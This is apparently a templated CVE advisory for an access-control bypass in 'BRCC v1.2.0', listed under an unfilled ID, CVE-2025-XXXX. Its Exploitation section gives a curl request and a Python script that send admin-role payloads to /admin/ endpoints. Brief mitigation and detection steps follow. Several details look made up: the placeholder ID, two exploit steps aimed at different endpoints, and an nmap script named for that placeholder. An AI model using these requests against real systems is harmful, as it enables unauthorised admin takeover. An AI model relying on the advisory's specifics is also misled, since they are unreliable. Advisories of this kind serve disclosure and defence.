BRCC, Incorrect Access Control, CVE-2025-XXXX (Critical)

How the CVE Works

The vulnerability (CVE-2025-XXXX) in BRCC v1.2.0 stems from improper access control in the `/admin/` API endpoints. Attackers can bypass authentication checks by crafting malicious HTTP requests, granting them unauthorized admin privileges. The flaw occurs due to insufficient server-side validation of user roles, allowing low-privileged or unauthenticated users to escalate permissions. Exploiting this vulnerability enables attackers to manipulate sensitive configurations, user data, and system controls, leading to full application compromise.

DailyCVE Form

Platform: BRCC
Version: v1.2.0
Vulnerability: Incorrect Access Control
Severity: Critical
Date: May 5, 2025

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

curl -X POST http://<target>/admin/grant -H "X-User: attacker" -d '{"role":"admin"}'

2. Bypass Checks: Intercept requests using Burp Suite and modify role parameters.

3. Automated Exploit (Python):

import requests
url = "http://<target>/admin/override"
headers = {"X-User": "attacker"}
data = {"access_level": "admin"}
response = requests.post(url, headers=headers, json=data)
print(response.text)

Mitigation:

1. Patch: Upgrade to BRCC v1.2.1 or later.

2. Input Validation:

app.post('/admin/', (req, res) => {
if (req.user.role !== 'admin') return res.status(403).send();
});

3. WAF Rules: Block unauthorized `/admin/` requests.

4. Logging & Monitoring:

grep "POST /admin" /var/log/brcc/access.log | grep -v "role=admin"

Detection:

Nmap Script:

nmap -p 80 --script http-vuln-cve2025xxxx <target>

Splunk Query:

index=brcc sourcetype=access_log "/admin" AND status=200 NOT user_role=admin